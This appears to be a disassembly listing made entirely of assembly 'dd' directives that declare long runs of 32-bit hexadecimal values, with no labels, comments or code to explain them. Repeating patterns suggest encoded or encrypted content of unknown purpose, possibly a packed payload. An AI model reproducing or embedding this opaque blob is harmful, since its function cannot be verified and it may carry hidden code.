		dd 68DFE215h, 2D652111h, 3CF82224h, 29AF4A96h, 75455048h
		dd 6E5A6775h, 4F1B37EEh, 486854C6h, 6C6C472Ch, 0DD46916h
		dd 67604818h, 6D75164Eh, 1E788962h, 0CD8C471Dh,	0C43FD447h
		dd 9853D0Ah, 44150982h,	0BEC2C514h, 10BEACD4h, 48B8C4DAh
		dd 2D660CC1h, 0B6D2694Ch, 3A3C82C0h, 79341C19h,	0F8577B4Ah
		dd 9749EE44h, 67A1E746h, 0B76DD947h, 607B1EAAh,	2972700Dh
		dd 31F56B76h, 0BE756438h, 283FCC3Ch, 5192AA47h,	0B0383249h
		dd 0E9306433h, 94B5E82Fh, 6F4D661Ch, 0E172527Ch, 45724C8Fh
		dd 8873640Bh, 6A9D4D18h, 0C135D4Dh, 0B8545FD7h,	0AAD74042h
		dd 0B5936D35h, 13FA4C79h, 51555C52h, 0BA96E404h, 3458B736h
		dd 8220B2F7h, 6E41024Fh, 79F8A577h, 944BD369h, 0EBB52842h
		dd 9AA9E8A3h, 1425081h,	497463E1h, 2F471272h, 53BC2023h
		dd 2B88581Eh, 5563F844h, 310A506Eh, 0DE547A20h,	496F93DCh
		dd 431C797Ah, 0C7708581h, 5455CE17h, 0AF8D9ABh,	483346A8h
		dd 0A2E24B43h, 22094B55h, 34B2540Fh, 3D346415h,	262DCA47h
		dd 85A76CCAh, 9817A238h, 0ABCF90E3h, 0CE68497Dh, 45B3E091h
		dd 23F5EA41h, 2DF66B65h, 0D7DA2012h, 51D67478h,	10B96B12h
		dd 48465C1Bh, 0E35EB58Ch, 5C6396E7h, 0DC678ACEh, 4CE81329h
		dd 764779F6h, 3F53794Dh, 5F7F6142h, 0C0D4A86Ch,	34393120h
		dd 8F48A432h, 4C563816h, 5FC4D6BDh, 0BA6F5220h,	6D10CA53h
		dd 1F02EDA5h, 28547560h, 708C5427h, 0D970AD29h,	6052B453h
		dd 900D3895h, 0F6235E70h, 0E349F87Bh, 740A764Dh, 29E82F90h
		dd 56F97CA7h, 0FBC90CBEh, 34B46842h, 92502B1Ah,	0CD9284EBh
		dd 34E26F9Fh, 16464C46h, 4EBF1894h, 1A4264EBh, 49FF1804h
		dd 34AD725Eh, 0A7A451FCh, 5A6AE620h, 4813660Eh,	0A48DAD54h
		dd 3A292E2Bh, 7528452Fh, 80185030h, 0C14A2EBFh,	0D3555049h
		dd 370A0FA3h, 7A924E2Bh, 3A08E2F7h, 521E34D5h, 5C901F3Ah
		dd 909942AFh, 0EDBC914Ch, 0C1A4500Bh, 6B6162E5h, 0AD939BE9h
		dd 0B4A4480Ah, 4E1A7Dh,	840D4BB7h, 484F2473h, 72903ADDh
		dd 2497164Fh, 23B2AF3Fh, 26466047h, 0DA273A8Ah,	62EA683Fh
		dd 6B97972Ch, 640A5FEFh, 23752360h, 4F3AD174h, 0F0A57034h
		dd 6395987Ch, 6872A870h, 8564082Bh, 8E5484A1h, 787C8530h
		dd 79D6654Eh, 6D37EF50h, 0E293A815h, 73AC0E50h,	26C46969h
		dd 26236CA5h, 6C0346D3h, 6E7E55B8h, 95AEC1D3h, 1A60297Fh
		dd 233A2922h, 0B95560C8h, 676F680Dh, 21A63E54h,	0A5565737h
		dd 0EF061E2Dh, 4573F05Ah, 0F424694Ah, 2A226834h, 0F72B943Ah
		dd 0D0472A5Eh, 64D953E2h, 49461C3Dh, 0AE5C4BBEh, 112358EBh
		dd 0BC4053B8h, 33448533h, 484E822Fh, 0E07F9E4Ch, 4C48214Eh
		dd 90754048h, 8733A833h, 0DBC2FF52h, 0EF5267A5h, 0B4677FD2h
		dd 4819858Ah, 3311DD50h, 938733A8h, 0BF345752h,	4F6DF14Bh
		dd 4152007Dh, 534E4556h, 9349483Ah, 70CF444Ch, 62415232h
		dd 531DE87Eh, 491B78DDh, 76AB3402h, 0A111845Ch,	0D7642370h
		dd 12991ABAh, 54F24EF0h, 916695Bh, 745E3586h, 7C939F75h
		dd 0A36CC4E7h, 2B69E4F4h, 0A9D04C0Ah, 0A2AE1193h, 29A44847h
		dd 93441B27h, 482E7924h, 901D57DAh, 584F4E85h, 1DA1442Dh
		dd 0C1E94924h, 0DE9DBC6Ch, 8DBEA717h, 6C280944h, 1A0AA7FBh
		dd 0ACA8E5C9h, 0F8751389h, 5B1291D8h, 0D14359F1h, 0D1FFFD48h
		dd 0C92620C8h, 2FE92F44h, 65406F34h, 0F95B58Ch,	0CB50911Ch
		dd 0B34AD541h, 486E520Bh, 1E2CF6B1h, 601F7492h,	4ABFBB24h
		dd 0D5B9FC97h, 0FF486841h, 70E2EFADh, 0EE6D645Ah, 97C2E5B1h
		dd 0E0DDCB34h, 736D5C44h, 1433BC70h, 0DD9E9832h, 82779474h
		dd 7B16DE76h, 7233F27Eh, 37622970h, 0A42E594h, 1D08578Eh
		dd 0CF5DB94Eh, 0EA7A175Ah, 30749F09h, 0BD6F4C10h, 2CD8274h
		dd 344B1B0Bh, 0F5FDA1A0h, 52DFFE77h, 0FD2E5F33h, 8E47920Ch
		dd 5C0A3D31h, 8AE3C955h, 0EAF161B2h, 33B8EC22h,	0C1AD1CBCh
		dd 744B2914h, 445D32C8h, 0FE2EA148h, 66F673A9h,	796EAA2Eh
		dd 0EDA16B96h, 3D337878h, 16F496BDh, 0CD33880h,	68096093h
		dd 182D858Bh, 48A824C6h, 12C4F9B4h, 7CE824E4h, 0D42088FCh
		dd 3CD22481h, 54213066h, 185C5609h, 849170C8h, 0B0E49423h
		dd 0FC90F448h, 102202F2h, 93C06D5h, 180E4845h, 9C446822h
		dd 0BC918FA4h, 0F847F022h, 0CD610C4h, 8A300928h, 4844181Ch
		dd 4EAC289Ch, 91188D94h, 479D2294h, 91E0C8CCh, 0D72C119Eh
		dd 213250E3h, 3EA0319Fh, 88A0CC44h, 198FD808h, 91A1211Ch
		dd 68F25431h, 0B848A224h, 0A312E8F9h, 3CD92822h, 0A42199FDh
		dd 221F7431h, 0D0A54494h, 22E8918Fh, 0DA3023A6h, 642150C6h
		dd 7CA431A7h, 11A889D8h, 331EDB28h, 2B942154h, 64189C09h
		dd 61A94CC0h, 8CDC4704h, 0C8AA2120h, 90F96C31h,	0C424AB12h
		dd 0AC89D07Ch, 1EDD0411h, 0AD211033h, 918F3176h, 47AE2250h
		dd 9190C884h, 0E4CC23AFh, 88B048E0h, 30F1DE1Ch,	9602199h
		dd 22185B68h, 0ACA44484h, 22D0918Fh, 0C4F447ECh, 340CDF14h
		dd 1C8A3C09h, 78604418h, 847CCC8Bh, 0B012A089h,	0ECB8443Eh
		dd 101FF089h, 0C872E008h, 78915009h, 18818822h,	24C0129Ch
		dd 47E25ECCh, 20F822F0h, 2864E11Ch, 64485409h, 6C6618A0h
		dd 44099011h, 0DC89CC9Ch, 5E013E14h, 83CC25FBh,	2B873D9Bh
		dd 93806D7Fh, 4C8FEF25h, 64F81843h, 0EDBF6371h,	0E659AD1Ah
		dd 9FF424C8h, 5569BE7Eh, 5EBDF094h, 3E0A454Eh, 0D1845E34h
		dd 3752084Ah, 4B34875Eh, 8EE87C74h, 795E24E8h, 8658A462h
		dd 53D48D25h, 53BF475Ah, 7FC9FFC9h, 9664F82Ah, 5AA4CBEEh
		dd 9169A182h, 384F0103h, 0EA5ACE46h, 1839B724h,	0A4FBF83Ah
		dd 0B46B747Bh, 0AF3AC55Dh, 2EC55DD1h, 41092C69h, 3FDA346Fh
		dd 0D07A6A18h, 1E198A56h, 76777F8Eh, 7A49F369h,	0FB641D92h
		dd 2961AD88h, 5234622Bh
		dd 0F3D5B812h, 13F727DCh, 0D9764FD4h, 0D42C0FA5h, 0B81AB97Ch
		dd 127FEF9Fh, 3D2BFD34h, 0FDE863DEh, 40D3D5F2h,	0A3FE63C4h
		dd 287DA45Bh, 5B090C19h, 0F9E2A6ADh, 28858C58h,	74C56747h
		dd 4716E6AAh, 7A2E2128h, 75B2F60Fh, 41A2AD05h, 28C96E29h
		dd 0FDFA16Bh, 0AD1C922Ch, 0A44827ABh, 312E1DF6h, 72F67566h
		dd 10B240FFh, 7F2B1255h, 40E88451h, 0E0180872h,	23555C68h
		dd 455A685Bh, 0EBFA652Ch, 4442C6B3h, 0ED1875A5h, 96E4D5C0h
		dd 69DA90FCh, 621B781Dh, 72702D0Eh, 25E52FD7h, 3435736Eh
		dd 434C89ABh, 615A3F02h, 27702DACh, 92D56443h, 5451F56Dh
		dd 7F4426B8h, 29B617CEh, 0AB555B70h, 0C894A124h, 3E2FA81Ah
		dd 0CA7BB508h, 0DFF208A1h, 734ECCD3h, 0AA6BD5FFh, 0B94A64A3h
		dd 2C66A7F2h, 285C9F38h, 4B327EA5h, 37A4CA5Dh, 701F363Ch
		dd 246C6CC8h, 1A6567ADh, 167DAD09h, 3A411654h, 4DFAE5Ch
		dd 0BE5D732Dh, 2138A734h, 0AA92CF28h, 0B2395037h, 4AE0E463h
		dd 0AE82D2Ah, 0B4384308h, 0DD0B1E37h, 8AA40C4Fh, 75796C09h
		dd 0D4BF0DB6h, 0FA2F97B2h, 3953C8D8h, 62094465h, 6EF76775h
		dd 41E0B424h, 0C54C4454h, 0C09A02Eh, 56BB744Fh,	5100F3C3h
		dd 0BF93EA1h, 5208735Bh, 0F9776CCAh, 8A232228h,	939A7F48h
		dd 16291C12h, 8AB046F7h, 0D33F1C1Dh, 0F7CDEE41h, 399B3D0Ah
		dd 26D61A9Dh, 9F87EC62h, 16698555h, 66D1A107h, 0B2552874h
		dd 44D045E0h, 8EA05B98h, 4FCCB74Dh, 4470148Ch, 309A4F45h
		dd 0B45F3C49h, 2D10AD78h, 0A5F06C2h, 8DA10731h,	501FE0EAh
		dd 0A5274496h, 0F202409Ch, 0A8FF916Fh, 42F09FEFh, 202C5335h
		dd 1DF659FBh, 2F1A9D28h, 752F2726h, 0C5297639h,	5C5C5F2Eh
		dd 1617B45Fh, 2F190989h, 4B227CF7h, 0EBEA126Dh,	387E24C4h
		dd 99FA9B55h, 0ECFB70A3h, 40D1A08Eh, 76D58EE4h,	46F94AA4h
		dd 34877E33h, 1CBC782Dh, 0A4474F4Ch, 7C5F6F19h,	10411CE6h
		dd 29534D23h, 632D528h,	0DE509729h, 41E64EE8h, 81D8295Ah
		dd 0AE41BD71h, 58486865h, 759A50FFh, 70D2E1B5h,	0C56F61C1h
		dd 66780BD0h, 681C0674h, 0ACE86A16h, 18F86C2Dh,	64A0785Bh
		dd 0B562E076h, 0B8C1DEE2h, 3357C151h, 2654386Eh, 49937A59h
		dd 93507448h, 467E4B53h, 4816C77Eh, 4B2DA3FCh, 5A5B7FF8h
		dd 0B74333F0h, 34420FE1h, 53894D8Ch, 795241D4h,	0BB497454h
		dd 38F724C0h, 0E198F2EDh, 7567C478h, 4F42F0C7h,	344C3D2Ch
		dd 85395945h, 79B30624h, 4B021061h, 485A4952h, 58430641h
		dd 0D46E3138h, 669D7794h, 6C68C9C0h, 6F6BD018h,	644C04D1h
		dd 0E6EA781Eh, 4AA4E3Ch, 0BB6853BCh, 0A8594CB2h, 286B691Dh
		dd 917FB030h, 0D9F93A74h, 7F76366Eh, 0E197D4E8h, 6A1403F3h
		dd 4582B4F6h, 706D2840h, 0CE6F10A3h, 68D21C94h,	69B88CFAh
		dd 0D40944FBh, 6CA5BBA2h, 0BB6E909Dh, 0DCF364D5h, 70E4B0BAh
		dd 5D54C29Fh, 6EE1AED8h, 3418F426h, 1B887544h, 4FE5960Ch
		dd 153E4740h, 844F1C4Ch, 44091B8Ch, 0D86DB229h,	636E163Ch
		dd 4854CA20h, 35343A52h, 0A4F4333Ah, 1AB8D69Ch,	0C41B03A2h
		dd 332D1AE6h, 3D93F738h, 51CD66Bh, 0B84D37A6h, 79982C78h
		dd 39312362h, 792F10D4h, 72694E3Ah, 56681BB0h, 93A07406h
		dd 7295D886h, 6E92C915h, 54886975h, 9BA9C44h, 8E0934E8h
		dd 43A88257h, 8518EA48h, 2C1D5961h, 4EC4BDFh, 0D6200F6Ah
		dd 0E0A46B71h, 3364D6C5h, 452D0C91h, 56D152C9h,	296C0CB8h
		dd 51916934h, 5F977613h, 488D9BAFh, 0DE7E3E02h,	5C4F466h
		dd 0BA55533Ch, 52465687h, 0F55AE698h, 7E9A6808h, 1A90E5B0h
		dd 7F4ED6C9h, 45D8068Dh, 297C1047h, 1D4A8E48h, 785418EEh
		dd 79616D61h, 313269DEh, 0F8F429A5h, 2F344714h,	708C4962h
		dd 9D36B83Ah, 16523BF5h, 906104C8h, 4921B426h, 6B0E0E5Eh
		dd 6E213979h, 6D328041h, 7F415A01h, 4985E8A8h, 7284037Ah
		dd 44AD3933h, 0BB626C2Ch, 394114B4h, 2DA94C59h,	45740ADCh
		dd 1C681430h, 6A08E04Ah, 281A7568h, 291A6296h, 0DC3029DAh
		dd 49CE2062h, 4E82B46Dh, 0B18E7547h, 9E2CA8DCh,	837A14B6h
		dd 48184D28h, 46DA6442h, 0DE951958h, 8975A72Dh,	0CA4D322h
		dd 53486669h, 19D066D0h, 7436756Dh, 292D909Eh, 0A9A4AAFCh
		dd 0DC354940h, 0BB4CA403h, 0E4E28C2Dh, 44BC5426h, 650CC245h
		dd 28DF1088h, 297AE2A0h, 0FE16F79h, 0C59B7345h,	4154DE42h
		dd 0C208AFC0h, 52CA6068h, 0BC4CA344h, 50E4A2EEh, 494848ACh
		dd 61538360h, 4DBCC644h, 6B688045h, 0E27947C0h,	45497475h
		dd 4C69E64Bh, 49683669h, 24094905h, 47E4984Ch, 4DC39384h
		dd 0CCE74C59h, 0D3607A2Dh, 0C8D23633h, 6CD1981Eh, 9D444115h
		dd 1F92E245h, 4E2C3174h, 5943DE4Bh, 44F430D5h, 5048534Ah
		dd 2845335Fh, 0F8DC526Eh, 395F4626h, 0ED758F58h, 7924DC26h
		dd 678ACE08h, 0EAEE39C7h, 70A43293h, 414BAC46h,	0BBC052ABh
		dd 4C455CCCh, 4E34E947h, 6E22E039h, 3929309Bh, 4B4930A8h
		dd 3C844E78h, 7CD0B3EAh, 90803449h, 24FF4BFAh, 0ACECC741h
		dd 64816360h, 529C7203h, 1A09F437h, 419C19F8h, 326D3285h
		dd 732CCC38h, 0C1707C97h, 3A31344Dh, 1C07C2A1h,	331C7F2Fh
		dd 98663278h, 0FD096474h, 3932F68Ch, 4F484B41h,	44592882h
		dd 91646B2Dh, 34326939h, 75EE6C33h, 24A27F48h, 421D9B2Dh
		dd 0A46B886Eh, 0E3AF654Ch, 7FE84DF1h, 0FCBF31BAh, 0D9E6FE4h
		dd 25603033h, 3339DDD4h, 503872B4h, 24E4D24Ah, 4E0D9B4Fh
		dd 29AA0260h, 53F0E34Fh, 0A5335234h, 0FBEA7027h, 0DC97EE50h
		dd 0B15647B0h, 607D527Bh, 74914B10h, 0F220D1BFh, 31687541h
		dd 0C19B0D33h, 8E82B057h, 5F4F4C44h, 1F0AE656h,	3278EF68h
		dd 246C096Ah, 9170486Eh, 44742272h, 7A897876h, 7E247C12h
		dd 82918048h, 86448422h, 128A8988h, 488E248Ch, 22929190h
		dd 98964494h, 9C129A89h, 0A0489E24h, 0A422A291h, 89A8A644h
		dd 24AC12AAh, 91B048AEh, 44B422B2h, 0BA89B8B6h,	0BE24BC12h
		dd 0C291C048h, 0C644C422h, 12CA89C8h, 48D024CCh, 22E491DCh
		dd 0C1F845ECh, 240802F0h, 91184810h, 44282220h,	40893834h
		dd 50244812h, 5C915448h, 6C446422h, 12808974h, 48902488h
		dd 22A09198h, 0C0B844ACh, 0D012C889h, 0E048D824h, 0F822EC91h
		dd 44F10420h, 1C89140Ch, 34242C12h, 48914048h, 58445022h
		dd 12688960h, 487C2470h, 22909184h, 0ACA4449Ch,	0BC12B489h
		dd 0CC48C424h, 0E022D891h, 8BF8EC44h, 804F282h,	18911048h
		dd 2C442422h, 12388934h, 484C2440h, 22609154h, 8078446Ch
		dd 90128889h, 0A8489C24h, 0BC22B091h, 89CCC444h, 24E412D8h
		dd 91F448ECh, 0F30410FCh, 1C441422h, 12348928h,	48482440h
		dd 22589150h, 746C4460h, 88127C89h, 9C489024h, 0B022A491h
		dd 89C0B844h, 24CC12C8h, 91E048D8h, 45F022E8h, 0DCEAA2F8h
		dd 440916E9h, 2C89241Ch, 3C243412h, 4C44A25Fh, 12588954h
		dd 48702464h, 2284917Ch, 0A094448Ch, 0B812AC89h, 0CC48C424h
		dd 730AD891h, 25A87865h, 115AB38Eh, 74CC8462h, 283744BEh
		dd 98886746h, 5F0EB7D0h, 6F7710D8h, 31CD687Ch, 96E7222Dh
		dd 0C23AF913h, 8846B03h, 0C07B626Ch, 0DE7D625Eh, 539B3441h
		dd 62C4AB08h, 76432019h, 0A3662DC8h, 6B885C3Ch,	86146435h
		dd 7D636645h, 3A38514Bh, 69F37129h, 0DCC3DC61h,	0B165E027h
		dd 5FC169F2h, 6D89F63Dh
		dd 686FEEE1h, 4B713810h, 0B474CCF4h, 8276161Eh,	28D0782Ch
		dd 18227A4Ah, 0D347970h, 0BB396772h, 1966B713h,	64730C98h
		dd 8ADC7512h, 0CCC9F535h, 6D3CB86Ch, 0AC1608D5h, 0FBCFB11h
		dd 736E85ECh, 4202B5D8h, 8843E552h, 78CC8D62h, 0F896F35Fh
		dd 4C2E8046h, 589C5655h, 8935344h, 66023A5Eh, 43F2A455h
		dd 75708A25h, 49461CB1h, 3010A94Bh, 4F885899h, 2747EE70h
		dd 70915249h, 15697167h, 0F008AB4Ch, 0F0614474h, 656E79CFh
		dd 4E7C150Ch, 6F81DC37h, 84D3066h, 56A812EAh, 0A3723EB0h
		dd 1185D404h, 25487055h, 93E14A34h, 4475CA44h, 0C154A34Bh
		dd 7DE96F79h, 11FE1057h, 0AE863527h, 0E8260936h, 9B29CF7h
		dd 48F424F0h, 2439A4FCh, 0C09B2A4h, 1C481424h, 2C222491h
		dd 8B3C3444h, 915048F4h, 44602258h, 6C896A64h, 70246E12h
		dd 74917248h, 78447622h, 127C897Ah, 4880247Eh, 22849182h
		dd 8A884486h, 90128C89h, 94489224h, 98229691h, 899C9A44h
		dd 24A812A0h, 91B048ACh, 44B822B4h, 0C889C0BCh,	0D824D012h
		dd 0E091DE48h, 0E444E222h, 10EC89E8h, 0E04F2838h, 91F48939h
		dd 3B223A19h, 3D093C64h, 0FA29F84Ch, 88FC09C8h,	811F904h
		dd 3E660E22h, 44111039h, 9CC403Fh, 0CC24191Ch, 42194109h
		dd 192A09CCh, 992C8943h, 38093011h, 48244012h, 54914C48h
		dd 64445C22h, 1270896Ch, 487C2474h, 22909188h, 0A4A04498h
		dd 0E63B0A89h, 0DBAA4A84h, 0C0A28ACh, 0E5333438h, 0A6AE3209h
		dd 39AA5B70h, 71AB2AF4h, 316822FBh, 5A417815h, 0C37C8EF2h
		dd 3732311Ch, 57830D3h,	323A18CAh, 60008CA6h, 5B7B5C5Fh
		dd 1DD3955Dh, 0B06059Ch, 5B111003h, 1BC8F648h, 850416D0h
		dd 6000C34h, 0AFA8BD80h, 0C97D058Ah, 0BEF4BE11h, 892968D1h
		dd 7CF431ADh, 4C025754h, 186B8670h, 0EA95F580h,	5201B000h
		dd 0A59CA97h, 0D5A811D0h, 0DC902EBh, 14805180h,	1D55B526h
		dd 0C5C13700h, 6379AB46h, 682A088Fh, 0C34869E8h, 0B48CFB27h
		dd 9D75FE14h, 19CCDDFEh, 7CF27B08h, 0B772E748h,	0F5C93876h
		dd 0FB5324B9h, 0BB52C495h, 6E771A81h, 9D772D2Bh, 0CAFC6432h
		dd 727C84BFh, 0C67D4088h, 166671D9h, 0EE3A0A0Dh, 12B59089h
		dd 81CAF45h, 16312464h,	346A6669h, 0ED10243Eh, 275A6866h
		dd 75CF73D1h, 0F15D92A8h, 12692ABBh, 7FD428F7h,	0CBFC7BA7h
		dd 9FADE457h, 1CA14745h, 27F753C9h, 4627EDD1h, 2A299768h
		dd 448D0050h, 5FD7DAADh, 0D72DEF61h, 0F789DFDFh, 4B12336h
		dd 4958DCA7h, 734FD9F8h, 0EED37CBDh, 8FEA5035h,	0AC6ABD81h
		dd 0AC6AADB8h, 868BD24h, 8604E8DEh, 0BB445EADh,	826B834h
		dd 0FE4C4E24h, 8611C036h, 0BE535ECEh, 85B5034h,	0B6FFC523h
		dd 8FF85F9Ch, 0AE0C17D3h, 81614CDh, 0BE435E61h,	0C19182Dh
		dd 5D107918h, 868C4FEh,	231C910Ch, 232C9124h, 7E3C9134h
		dd 544C448Eh, 5C120189h, 2486424h, 78226C91h, 0F550C29Fh
		dd 25C494D1h, 6998CCFBh, 34EA635Bh, 591C398Bh, 0FDF4DD4h
		dd 2D4C7E24h, 4876F428h, 0AC6FF638h, 7F5CB728h,	94887D52h
		dd 203A5A0Eh, 0B7A472DDh, 57A6CF6h, 0B2AB7228h,	7F506920h
		dd 514C1DBAh, 55A151D2h, 0B78275E3h, 2C68CCFCh,	6835FE25h
		dd 18865444h, 0ED0C54BDh, 6CED6B20h, 64D99F7Eh,	0F761AB4Fh
		dd 799DD7C4h, 0A02E158Fh, 0D7D79691h, 0BA79A5CEh, 845A5AE6h
		dd 62424FE8h, 67CBBBB7h, 0B1D23043h, 73210C38h,	1732DA93h
		dd 0F1D44463h, 0EBE45EFBh, 300D432Dh, 0D591F5DEh, 17866564h
		dd 2F703DCEh, 0CA69310Eh, 5769542Eh, 0D221407Bh, 630A3826h
		dd 4144EB6Bh, 1B4EDDFAh, 75FA5B8Dh, 299D5E61h, 0B5ECD8Eh
		dd 64AA5BA0h, 46226D23h, 7B97C0CBh, 942C99BAh, 0FF6EEB75h
		dd 965994F0h, 0B57D6FB9h, 43717DD6h, 0D66CDAF3h, 0FE701319h
		dd 2EB6BCD7h, 2B6085B4h, 4A0A72A8h, 0B5C06D8Eh,	0BC65BEF9h
		dd 4EBCE2ABh, 0B41E64DDh, 0AE6E4113h, 0A07A1237h, 0AF23CEACh
		dd 0A87F786Dh, 5027AD4Eh, 2DB53694h, 24F663F0h,	0B3F2A82Eh
		dd 7188F473h, 0DA15AE61h, 373678D4h, 0D9D7B48Ah, 0B9784910h
		dd 0D7666B49h, 0FBA885BAh, 580F1799h, 0C8F324DEh, 994F7B5Eh
		dd 2EF2E3ADh, 70484465h, 73C5FFEBh, 857E3426h, 901769E3h
		dd 75D22724h, 0B68329EEh, 0AF2412F5h, 194C88F3h, 723096BDh
		dd 0DAB9D4FFh, 0A8AD7818h, 91DE18CAh, 2767FA18h, 3A4F7A4h
		dd 0A23365FAh, 1409B714h, 2E140715h, 4E09B988h,	0E75D98A5h
		dd 0A349342Dh, 9A79E5Fh, 96724440h, 0A49F2145h,	0B275AF68h
		dd 0E52CF678h, 8C8AA63h, 8E5B9D64h, 0D848F021h,	940DD727h
		dd 0B08A6A77h, 0FAB5BE4Dh, 716D8EA6h, 35BFB60h,	0C072CDDh
		dd 8CD14CF9h, 188DDA0Bh, 0C8BD1ECh, 59C7035Ah, 4AC90CDAh
		dd 0DF0C1A10h, 183A643Ah, 5BB52852h, 0FECA2DDBh, 9CAE6CEFh
		dd 0EC619B7Bh, 79D79AA6h, 5C200AE0h, 41AEEDB4h,	0A8507AB2h
		dd 0D9DF128Ah, 20B321A0h, 31C29FFCh, 136FEEAh, 87D38D9Fh
		dd 0C9D44FDh, 10BCE563h, 29FA735Eh, 0A9AB1990h,	59C668DAh
		dd 404EE062h, 2D0D256Fh, 34533431h, 65132D9h, 0BBD7536h
		dd 0A0957325h, 8CE9A825h, 0CCAC3A1h, 292C8DDEh,	0DAF4A10Fh
		dd 0F7362832h, 24B341E0h, 534F752Ah, 155C5EBFh,	1D6C4B4Eh
		dd 65D65502h, 7ACD97EFh, 0E036D21h, 0A208480Fh,	90765741h
		dd 2C3808DAh, 0A3BB4712h, 0D2284F9Ch, 0F34C7520h, 126FB2Ah
		dd 0BB755468h, 728F9546h, 0CC5CEC77h, 9565B048h, 2D7BDD54h
		dd 0BAF550DDh, 0DC103229h, 9641C6D9h, 4BB53684h, 181E47ACh
		dd 0B4CB432Bh, 2634EB35h, 0C87F58C9h, 30AC73ACh, 2D82D99Fh
		dd 1284C664h, 6671108Eh, 1B2F11AAh, 0D974AA36h,	0D6FEF465h
		dd 0E69F4C4Dh, 3408A743h, 0E7A919D7h, 428C4B64h, 69273AF8h
		dd 74B8D89Ch, 7DA3AE75h, 2E78274Dh, 533C1CD1h, 60A097B4h
		dd 504ECA74h, 3A579D9Fh, 5CF16BAFh, 0E4E9B06Ah,	62B382E6h
		dd 96FBF596h, 60A344A4h, 0D9B1C22Ah, 96EE4669h,	2E611D3Ah
		dd 7D3AE508h, 0A78F2348h, 49C474AFh, 0B317F454h, 0AA160C75h
		dd 0DAE30E16h, 32597759h, 0FB2A2492h, 531CA834h, 0C3B75EFh
		dd 0DFFA56A4h, 3E296AD5h, 0B2F1C6C9h, 524B9CB8h, 0F59472FFh
		dd 0D7D5F87Fh, 19B23965h, 4E6F51A6h, 7F2A3A21h,	0C0D3C28Bh
		dd 0B2412932h, 7C667D9Eh, 952720BBh, 4402B152h,	0C0F36A75h
		dd 0D24CE749h, 0A88732B6h, 74BD322Ah, 0FE0EED70h, 12E8B209h
		dd 6D99FE3Ch, 27B26B44h, 92828AD2h, 0EE39C234h,	413F7F0Fh
		dd 0B971672Dh, 0AB0292A5h, 0D7719438h, 29E02449h, 0FF9B14FDh
		dd 0D1FA34A1h, 0AE6F6560h, 0BDA5A576h, 0F9EB2654h, 3B523D49h
		dd 6D5AC15Eh, 7A914D61h, 6E9D6452h, 9D27126Fh, 2919093Ch
		dd 0D2FDD418h, 533901DDh, 8BD2C4D0h, 50AA4AE8h,	54AC1D21h
		dd 0BA45B4BFh, 0AB12D74Eh, 5468D59Dh, 0EE6F28A1h, 0D281E47h
		dd 7DFED6F3h, 5BD877DAh, 2F79632Bh, 2E42342Ch, 7A945B29h
		dd 0D657D4BAh, 74DDCA88h, 5224A4BBh, 0D6EC1E7Ah, 0C9C28F61h
		dd 77763A4Eh, 45213BE7h, 5E089EE9h, 5239FE6Dh, 0DC3FE26Bh
		dd 848A7952h, 991AF49Ch, 13E4FAE8h, 47D91DD7h, 3122E5FEh
		dd 7B753002h, 0D526845Ah, 0EF51D009h, 82736D0Ah, 6752669Fh
		dd 996BFCB7h, 0CB1C5728h, 48FD9E78h, 6CF37A0Ch,	402543CEh
		dd 771476D7h, 9B0D3233h, 0E344719h, 9C7A0266h, 6CC561F4h
		dd 11346D72h, 2963C3B0h
		dd 30206766h, 6D6B73B0h, 2F1A40D1h, 0F6208F50h,	947E8BA8h
		dd 2C533F09h, 0CDBA4Ah,	7614980Ah, 4DC25762h, 64DC4253h
		dd 2E0C5415h, 7AA89E74h, 4D447352h, 24A67A79h, 0EEC56271h
		dd 4A236C67h, 4D903153h, 4A5058CEh, 2B844594h, 0E24C3C4h
		dd 0D118ECAFh, 741C540Ch, 72527CACh, 640E9C0Bh,	14615A33h
		dd 0A695B11h, 0C70C34F7h, 35CF1F31h, 0ECD40FB5h, 19450B1Ch
		dd 12700960h, 4888247Ch, 22A09194h, 0D8C044B0h,	0F812EC89h
		dd 40C0422h, 911C4810h,	44342228h, 5C895044h, 74246812h
		dd 90918448h, 0F4F8A24Ah, 29A262BBh, 59250CB7h,	0D3DFFA30h
		dd 0CC55A584h, 0CCA5BC82h, 20AD3A06h, 8BABCA3Ch, 76A35F45h
		dd 2AA92491h, 0FEA558F8h, 0D8960E6h, 551C295Fh,	74E97CD3h
		dd 1AFF526Bh, 0F4125F5Bh, 0A504F08h, 79300A0Dh,	72174D50h
		dd 75FB5BFDh, 23B5BE31h, 65A6580Fh, 499079B7h, 52E4D155h
		dd 402EBBD5h, 0E174EDDFh, 0B94F5C5Ah, 4F49F169h, 0F868A87Eh
		dd 24432750h, 4D44C490h, 15D04EF6h, 3A38740Eh, 11DD7F5Ch
		dd 0EB02F22h, 0B853F146h, 64C02208h, 48C809C4h,	294E9BCCh
		dd 0BE22AFF4h, 0C4A5D44h, 0D9805655h, 0DE9D7C44h, 0F6BD1C28h
		dd 24365256h, 0C68F39D7h, 1F579570h, 0CFE4A5C4h, 4FD92F8Ah
		dd 0FA27CAAEh, 1CB2E19Eh, 95E26919h, 0FDE54DF8h, 0FA75D16Dh
		dd 2CA344B5h, 0F3ABBA25h, 2F072956h, 150D12DFh,	325294A0h
		dd 341D80DAh, 28FAB448h, 88CB482Ah, 34FAC03Bh, 5E56B73Ch
		dd 3794757Ah, 0FEBF2FB0h, 0FA6C6892h, 0B8B4D2E6h, 0F97E3E4Dh
		dd 0A990D1E5h, 2F092309h, 0A3BC9DCEh, 0F8433C50h, 4E498D53h
		dd 0AD1E8B3Ah, 5168546Ah, 594DFEF8h, 34A4ED6Ch,	6C915E6Bh
		dd 6E6EF2D3h, 0FD68916Bh, 976E7509h, 0F240486Ah, 174609FFh
		dd 7017696Eh, 0E76A7244h, 3D196497h, 9B3F3448h,	63357B69h
		dd 55970924h, 495D540Ah, 4CA16C3Dh, 7368457Ah, 7F504B84h
		dd 6B2F5CE1h, 301691F7h, 8629BF0Dh, 0E253A26Fh,	0DF6CDF64h
		dd 8B770581h, 7E732E02h, 17A92776h, 102F9CC2h, 61689594h
		dd 89F52DADh, 8FEDC2DDh, 50664991h, 6D2C84DCh, 0A3C05331h
		dd 0F02510F0h, 398E9D30h, 101A06FAh, 776C9807h,	4D214A75h
		dd 6179FC0Ah, 0CB6F6838h, 20D0EEFDh, 0E51E6734h, 106AA147h
		dd 77EA789Fh, 0AA924C84h, 641EACB6h, 30755660h,	83688046h
		dd 0DF6EE780h, 1498F592h, 3C101B12h, 0C2F50F5h,	5D672865h
		dd 0E470A9B8h, 60468662h, 0DBE16384h, 640D584Fh, 92CA8275h
		dd 6C200562h, 0A433DCE4h, 62108232h, 0DA43556Bh, 9FA06142h
